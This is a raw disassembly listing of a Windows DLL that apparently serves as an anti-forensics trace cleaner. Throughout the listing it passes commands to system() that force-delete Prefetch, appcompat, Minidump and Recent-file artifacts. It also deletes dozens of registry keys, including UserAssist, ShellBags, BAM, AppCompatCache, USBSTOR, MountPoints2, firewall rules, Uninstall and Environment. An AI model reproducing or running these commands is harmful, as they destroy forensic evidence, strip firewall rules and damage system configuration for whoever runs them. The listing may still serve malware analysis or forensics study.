mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003250c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003250c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
lea rax, [rbp + 0x710]
mov r14, rsi
nop word [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x180032530
cmp r14, rdi
ja 0x180033bc2
cmp r14, 0xf
ja 0x180032573
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], 0xf
mov r8, r14
lea rdx, [rbp + 0x710]
lea rcx, [rbp - 0x48]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + r14 - 0x48], 0
jmp 0x18003261c
mov r13, r14
or r13, 0xf
cmp r13, rdi
jbe 0x1800325b2
mov r13, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180038a50
mov rcx, rax
test rax, rax
je 0x18003283e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800325ef
cmp r13, 0x16
mov eax, 0x16
cmovb r13, rax
lea rcx, [r13 + 1]
test rcx, rcx
jne 0x1800325d2
mov rax, rbx
mov qword [rsp + 0x30], rbx
jmp 0x1800325f4
cmp rcx, 0x1000
jb 0x1800325ea
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180033b92
jmp 0x180032590
call fcn.180038a50
mov qword [rsp + 0x30], rax
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], r13
mov r8, r14
lea rdx, [rbp + 0x710]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x30]
mov byte [rax + r14], 0
mov r8, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
sub rax, r8
cmp rax, 0x17
jb 0x1800326a8
lea rax, [r8 + 0x17]
mov qword [rbp - 0x38], rax
lea r14, [rbp - 0x48]
cmp rcx, 0xf
cmova r14, qword [rbp - 0x48]
lea rax, [0x1800a0ebf]
cmp rax, r14
jbe 0x18003266c
lea rax, [r14 + r8]
cmp r15, rax
ja 0x18003266c
cmp r14, r15
ja 0x180032664
mov r13, rbx
jmp 0x18003266f
mov r13, r14
sub r13, r15
jmp 0x18003266f
mov r13, r12
inc r8
lea rcx, [r14 + 0x17]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
mov rdx, r15
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8, r12
sub r8, r13
lea rdx, [r13 + 0x17]
add rdx, r15
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x48]
jmp 0x1800326be
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r15
mov rdx, r12
lea rcx, [rbp - 0x48]
call fcn.180038130
xorps xmm0, xmm0
movups xmmword [rbp + 0x198], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x198], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a8], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rbx
mov byte [rax], 0
mov r8d, 0x4b
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers___va__f
lea rcx, [rbp + 0x198]
call fcn.180036dc0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0xf
cmova rcx, qword [rbp + 0xb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0xf
jbe 0x1800327aa
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800327a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800327a5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
movdqu xmmword [rbp + 0xc8], xmm6
mov byte [rbp + 0xb8], 0
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 0xf
jbe 0x1800327fd
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800327f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800327f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
movdqu xmmword [rbp + 0x1a8], xmm6
mov byte [rbp + 0x198], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x18003284a
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032845
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032845
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
lea rax, [rbp + 0x710]
mov r14, rsi
inc r14
cmp byte [rax + r14], 0
jne 0x180032863
cmp r14, rdi
ja 0x180033bc8
cmp r14, 0xf
ja 0x1800328a6
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], 0xf
mov r8, r14
lea rdx, [rbp + 0x710]
lea rcx, [rbp - 0x28]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + r14 - 0x28], 0
jmp 0x18003294f
mov r13, r14
or r13, 0xf
cmp r13, rdi
jbe 0x1800328e5
mov r13, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180038a50
mov rcx, rax
test rax, rax
je 0x180032b56
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180032922
cmp r13, 0x16
mov eax, 0x16
cmovb r13, rax
lea rcx, [r13 + 1]
test rcx, rcx
jne 0x180032905
mov rax, rbx
mov qword [rsp + 0x30], rbx
jmp 0x180032927
cmp rcx, 0x1000
jb 0x18003291d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180033b98
jmp 0x1800328c3
call fcn.180038a50
mov qword [rsp + 0x30], rax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], r13
mov r8, r14
lea rdx, [rbp + 0x710]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x30]
mov byte [rax + r14], 0
mov r8, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
sub rax, r8
cmp rax, 0x17
jb 0x1800329db
lea rax, [r8 + 0x17]
mov qword [rbp - 0x18], rax
lea r14, [rbp - 0x28]
cmp rcx, 0xf
cmova r14, qword [rbp - 0x28]
lea rax, [0x1800a0ebf]
cmp rax, r14
jbe 0x18003299f
lea rax, [r8 + r14]
cmp r15, rax
ja 0x18003299f
cmp r14, r15
ja 0x180032997
mov r13, rbx
jmp 0x1800329a2
mov r13, r14
sub r13, r15
jmp 0x1800329a2
mov r13, r12
inc r8
lea rcx, [r14 + 0x17]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
mov rdx, r15
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8, r12
sub r8, r13
lea rdx, [r13 + 0x17]
add rdx, r15
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x28]
jmp 0x1800329f1
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r15
mov rdx, r12
lea rcx, [rbp - 0x28]
call fcn.180038130
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x28], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rbx
mov byte [rax], 0
mov r8d, 0x62
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___va__f
lea rcx, [rbp + 0x18]
call fcn.180036dc0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0xf
cmova rcx, qword [rbp + 0xd8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0xf
jbe 0x180032ace
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032ac9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032ac9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
movdqu xmmword [rbp + 0xe8], xmm6
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x180032b1b
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032b16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032b16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
movdqu xmmword [rbp + 0x28], xmm6
mov byte [rbp + 0x18], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x180032b62
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032b5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032b5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
lea rax, [rbp + 0x710]
mov r14, rsi
nop dword [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x180032b80
cmp r14, rdi
ja 0x180033bce
cmp r14, 0xf
ja 0x180032bc3
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], 0xf
mov r8, r14
lea rdx, [rbp + 0x710]
lea rcx, [rbp - 8]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + r14 - 8], 0
jmp 0x180032c6f
mov r13, r14
or r13, 0xf
cmp r13, rdi
jbe 0x180032bfe
mov r13, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180038a50
mov rcx, rax
test rax, rax
je 0x180032c36
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180032c42
cmp r13, 0x16
mov eax, 0x16
cmovb r13, rax
lea rcx, [r13 + 1]
test rcx, rcx
jne 0x180032c1e
mov rax, rbx
mov qword [rsp + 0x30], rbx
jmp 0x180032c47
cmp rcx, 0x1000
jb 0x180032c3d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180033b9e
jmp 0x180032be0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038a50
mov qword [rsp + 0x30], rax
mov qword [rbp - 8], rax
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r13
mov r8, r14
lea rdx, [rbp + 0x710]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x30]
mov byte [rax + r14], 0
mov r8, qword [rbp + 8]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
sub rax, r8
cmp rax, 0x17
jb 0x180032cfb
lea rax, [r8 + 0x17]
mov qword [rbp + 8], rax
lea r14, [rbp - 8]
cmp rcx, 0xf
cmova r14, qword [rbp - 8]
lea rax, [0x1800a0ebf]
cmp rax, r14
jbe 0x180032cbf
lea rax, [r14 + r8]
cmp r15, rax
ja 0x180032cbf
cmp r14, r15
ja 0x180032cb7
mov r13, rbx
jmp 0x180032cc2
mov r13, r14
sub r13, r15
jmp 0x180032cc2
mov r13, r12
inc r8
lea rcx, [r14 + 0x17]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
mov rdx, r15
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
sub r12, r13
lea rdx, [r13 + 0x17]
add rdx, r15
lea rcx, [r14 + r13]
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 8]
jmp 0x180032d11
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r15
mov rdx, r12
lea rcx, [rbp - 8]
call fcn.180038130
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r8, str.SoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2___f
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xf8]
call fcn.180037200
mov rcx, rax
call fcn.180036bd0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xf8]
call fcn.180036c70
nop
lea rcx, [rbp + 0x1e8]
call fcn.180036c70
nop
lea rcx, [rbp - 8]
call fcn.180036c70
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0x18]
call fcn.180034460
nop
mov r8, rax
lea rdx, str.REG_ADD__HKEY_USERS_
lea rcx, [rbp + 0x1e8]
call fcn.180037490
nop
lea r8, str.SoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2_
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.180037200
mov rcx, rax
call fcn.180036bd0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xf8]
call fcn.180036c70
nop
lea rcx, [rbp + 0x1e8]
call fcn.180036c70
nop
lea rcx, [rbp + 0x18]
call fcn.180036c70
lea r8, str.APPDATA
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
mov rdx, qword [rbp + 0x1b8]
test rdx, rdx
jne 0x180032e59
lea rdx, str.Error_getting_AppData_folder_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180037270
lea rdx, [0x180037450]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180033aa8
lea rcx, [rbp + 0x1e8]
call fcn.180034460
nop
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea r8, [rbp + 0x1e8]
lea rcx, [rbp + 0x18]
call fcn.1800375c0
nop
lea r8, str.MicrosoftWindowsRecent.
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.180037200
mov rcx, rax
call fcn.180036bd0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xf8]
call fcn.180036c70
nop
lea rcx, [rbp + 0x18]
call fcn.180036c70
lea r8, [rbp + 0x1e8]
lea rcx, [rbp + 0x18]
call fcn.1800375c0
nop
lea r8, str.MicrosoftWindowsRecentCustomDestinations.
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.180037200
mov rcx, rax
call fcn.180036bd0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xf8]
call fcn.180036c70
nop
lea rcx, [rbp + 0x18]
call fcn.180036c70
lea r8, [rbp + 0x1e8]
lea rcx, [rbp + 0x18]
call fcn.1800375c0
nop
lea r8, str.MicrosoftWindowsRecentAutomaticDestinations.
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.180037200
mov rcx, rax
call fcn.180036bd0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xf8]
call fcn.180036c70
nop
lea rcx, [rbp + 0x18]
call fcn.180036c70
lea rcx, str.DEL__f__q__systemroot__appcompatPrograms.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatPrograms.xml
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatProgramsInstall.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatProgramsInstall.xml
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.pf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.ini
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.7db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.ebd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.bin
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_PrefetchReadyBoot.fx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Minidump.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWARESiticone___f
mov qword [rbp + 0x250], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWARENuGet___f
mov qword [rbp + 0x258], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist___f
mov qword [rbp + 0x260], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREWinRARArcHistory___f
mov qword [rbp + 0x268], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREWinRARDialogEditHistory___f
mov qword [rbp + 0x270], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWARE7_Zip___f
mov qword [rbp + 0x278], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache___f
mov qword [rbp + 0x280], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesAppX69r31t6nmawqr1gdamcsndphj2v4a6cx___f
mov qword [rbp + 0x288], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts___f
mov qword [rbp + 0x290], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFeatureUsageAppSwitched___f
mov qword [rbp + 0x298], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___f
mov qword [rbp + 0x2a0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts.dllOpenWithList___f
mov qword [rbp + 0x2a8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFeatureUsageShowJumpView___f
mov qword [rbp + 0x2b0], rax
lea rax, str.REG_DELETE__HKEY_CLASSES_ROOTLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache___f
mov qword [rbp + 0x2b8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRecentDocs___f
mov qword [rbp + 0x2c0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerTypedPaths___f
mov qword [rbp + 0x2c8], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyFirewallRules___f
mov qword [rbp + 0x2d0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTO___f
mov qword [rbp + 0x2d8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShell___f
mov qword [rbp + 0x2e0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftFTH___f
mov qword [rbp + 0x2e8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWARECloudflare___f
mov qword [rbp + 0x2f0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NT___f
mov qword [rbp + 0x2f8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftNotepad___f
mov qword [rbp + 0x300], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWARERegisteredApplications___f
mov qword [rbp + 0x308], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayer___f
mov qword [rbp + 0x310], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamStateUserSettings___f
mov qword [rbp + 0x318], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMMountedDevices___f
mov qword [rbp + 0x320], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRULegacy___f
mov qword [rbp + 0x328], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32FirstFolder___f
mov qword [rbp + 0x330], rax
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32CIDSizeMRU___f
mov qword [rbp + 0x338], rcx
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU___f
mov qword [rbp + 0x340], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellBags___f
mov qword [rbp + 0x348], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellBagMRU___f
mov qword [rbp + 0x350], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsShellBags___f
mov qword [rbp + 0x358], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsShellBagMRU___f
mov qword [rbp + 0x360], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerAppCompatCache___f
mov qword [rbp + 0x368], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlSession_ManagerAppCompatCache___f
mov qword [rbp + 0x370], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftDirectInput___f
mov qword [rbp + 0x378], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionAppletsRegedit___f
mov qword [rbp + 0x380], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers___f
mov qword [rbp + 0x388], rax
lea rax, str.REG_DELETE__HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___f
mov qword [rbp + 0x390], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USEREnvironment___f
mov qword [rbp + 0x398], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerMemory_ManagementPrefetchParameters___f
mov qword [rbp + 0x3a0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall___f
mov qword [rbp + 0x3a8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftInternet_ExplorerLowRegistryAudioPolicyConfigPropertyStore___f
mov qword [rbp + 0x3b0], rax
mov qword [rbp + 0x3b8], rcx
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREClientsStartMenuInternet___f
mov qword [rbp + 0x3c0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand_Processor___f
mov qword [rbp + 0x3c8], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_SearchVolumeInfoCache___f
mov qword [rbp + 0x3d0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTOR___f
mov qword [rbp + 0x3d8], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftTracing___f
mov qword [rbp + 0x3e0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer___f
mov qword [rbp + 0x3e8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRU___f
mov qword [rbp + 0x3f0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU___f
mov qword [rbp + 0x3f8], rax
lea rax, str.REG_DELETE__HKU_usersid_SOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistCEBFF5CD_ACE2_4F4F_9178_9926F41749EACount___f
mov qword [rbp + 0x400], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications___f
mov qword [rbp + 0x408], rax
lea rdx, str.REG_DELETE__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps___f
mov qword [rbp + 0x410], rdx
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_usersid____f
mov qword [rbp + 0x418], rcx
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoam___f
mov qword [rbp + 0x420], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted___f
mov qword [rbp + 0x428], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b___f
mov qword [rbp + 0x430], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet002ControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b___f
mov qword [rbp + 0x438], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b___f
